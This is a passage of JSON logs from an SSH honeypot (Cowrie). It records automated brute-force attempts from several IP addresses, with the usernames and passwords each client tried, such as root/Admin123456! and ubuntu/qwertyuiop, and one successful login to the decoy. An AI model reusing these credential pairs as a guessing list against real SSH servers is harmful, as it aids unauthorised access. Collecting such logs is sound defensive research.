ert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:14.156897Z","src_ip":"91.92.40.36","session":"399ebf70287f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123456!","message":"login attempt [root/Admin123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:15.231341Z","src_ip":"27.71.230.31","session":"2c3451d48a63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anton","password":"anton","message":"login attempt [anton/anton] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:16.597899Z","src_ip":"91.92.40.36","session":"399ebf70287f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:16.664672Z","src_ip":"27.71.230.31","session":"2c3451d48a63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:17.931724Z","src_ip":"91.92.40.36","session":"399ebf70287f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.122.139","src_port":34242,"dst_ip":"10.17.0.5","dst_port":22,"session":"42c2147c7331","protocol":"ssh","message":"New connection: 101.36.122.139:34242 (10.17.0.5:22) [session: 42c2147c7331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:18.068747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:18.073124Z","src_ip":"101.36.122.139","session":"42c2147c7331","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:18.291619Z","src_ip":"101.36.122.139","session":"42c2147c7331","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwertyuiop","message":"login attempt [ubuntu/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:19.199156Z","src_ip":"101.36.122.139","session":"42c2147c7331","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:20.420557Z","src_ip":"101.36.122.139","session":"42c2147c7331","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":13526,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ee2626bcdab","protocol":"ssh","message":"New connection: 91.92.40.36:13526 (10.17.0.5:22) [session: 1ee2626bcdab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:20.834083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:21.372139Z","src_ip":"91.92.40.36","session":"1ee2626bcdab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:21.375748Z","src_ip":"91.92.40.36","session":"1ee2626bcdab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123456","message":"login attempt [testuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:24.741298Z","src_ip":"91.92.40.36","session":"1ee2626bcdab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:26.869601Z","src_ip":"91.92.40.36","session":"1ee2626bcdab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":38816,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b2209da45c3","protocol":"ssh","message":"New connection: 91.92.40.36:38816 (10.17.0.5:22) [session: 3b2209da45c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:31.421486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:31.803919Z","src_ip":"91.92.40.36","session":"3b2209da45c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:32.416622Z","src_ip":"91.92.40.36","session":"3b2209da45c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frank","password":"frank","message":"login attempt [frank/frank] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:36.350032Z","src_ip":"91.92.40.36","session":"3b2209da45c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":39314,"dst_ip":"10.17.0.5","dst_port":22,"session":"3479c9362eae","protocol":"ssh","message":"New connection: 91.92.40.36:39314 (10.17.0.5:22) [session: 3479c9362eae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:37.451408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:37.528263Z","src_ip":"91.92.40.36","session":"3479c9362eae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:37.650634Z","src_ip":"91.92.40.36","session":"3479c9362eae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456789","message":"login attempt [deploy/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:38.362963Z","src_ip":"91.92.40.36","session":"3479c9362eae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:38.448254Z","src_ip":"91.92.40.36","session":"3b2209da45c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:39.936629Z","src_ip":"91.92.40.36","session":"3479c9362eae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.87.152","src_port":53860,"dst_ip":"159.203.135.109","dst_port":22,"session":"afa9975917ab","protocol":"ssh","message":"New connection: 97.74.87.152:53860 (159.203.135.109:22) [session: afa9975917ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:41.894653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:41.898884Z","src_ip":"97.74.87.152","session":"afa9975917ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:42.132299Z","src_ip":"97.74.87.152","session":"afa9975917ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ww123456.","message":"login attempt [root/Ww123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:43.098588Z","src_ip":"97.74.87.152","session":"afa9975917ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:44.334465Z","src_ip":"97.74.87.152","session":"afa9975917ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.46.222.137","src_port":51669,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed28b732aa26","protocol":"ssh","message":"New connection: 38.46.222.137:51669 (10.17.0.5:22) [session: ed28b732aa26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:45.885313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:45.889716Z","src_ip":"38.46.222.137","session":"ed28b732aa26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:45.983596Z","src_ip":"38.46.222.137","session":"ed28b732aa26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":39380,"dst_ip":"10.17.0.5","dst_port":22,"session":"482360e589bf","protocol":"ssh","message":"New connection: 91.92.40.36:39380 (10.17.0.5:22) [session: 482360e589bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:46.700321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:47.057803Z","src_ip":"91.92.40.36","session":"482360e589bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:47.829293Z","src_ip":"91.92.40.36","session":"482360e589bf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:48.243727Z","src_ip":"38.46.222.137","session":"ed28b732aa26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"Qwerty","message":"login attempt [test/Qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:52.938451Z","src_ip":"91.92.40.36","session":"482360e589bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":51908,"dst_ip":"159.203.135.109","dst_port":22,"session":"58dae15ffd5a","protocol":"ssh","message":"New connection: 62.133.62.83:51908 (159.203.135.109:22) [session: 58dae15ffd5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:53.033344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:53.037353Z","src_ip":"62.133.62.83","session":"58dae15ffd5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:53.118945Z","src_ip":"62.133.62.83","session":"58dae15ffd5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":19912,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b264858b317","protocol":"ssh","message":"New connection: 91.92.40.36:19912 (10.17.0.5:22) [session: 8b264858b317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:53.267313Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"cheese1","message":"login attempt [root/cheese1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:53.356981Z","src_ip":"62.133.62.83","session":"58dae15ffd5a","protocol":"ssh"}
